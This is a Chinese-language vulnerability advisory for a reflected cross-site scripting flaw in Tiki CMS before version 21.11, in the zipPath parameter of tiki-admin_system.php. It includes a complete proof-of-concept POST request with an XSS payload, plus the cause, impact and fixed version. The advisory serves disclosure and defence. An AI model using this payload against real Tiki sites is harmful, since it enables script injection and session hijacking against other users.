Tiki CMS - 'zipPath' 参数反射型跨站脚本(XSS)漏洞
仅供教育、研究和防御目的。未经许可针对系统进行未授权使用是违法的。
在 Tiki 版本 21.11 之前的版本中,tiki-admin_system.php 的 POST 请求数据 zipPath 存在反射型跨站脚本(XSS)漏洞。攻击者可通过精心构造的有效载荷执行任意 JavaScript 代码,可能导致访问敏感信息或执行未授权操作。
该漏洞是由于 tiki-admin_system.php 中对 zipPath 参数的输入净化不当引起的。用户提供的输入未经过充分编码即反射到 HTTP 响应中,从而允许执行注入的 JavaScript。
允许经过身份验证的攻击者通过精心构造的请求在另一个用户的浏览器中执行任意 JavaScript,可能导致会话劫持或未授权操作。
POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Accept: */*
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

该问题已在 Tiki CMS Groupware 21.11 版本中得到解决。建议用户升级到该版本或后续修补版本。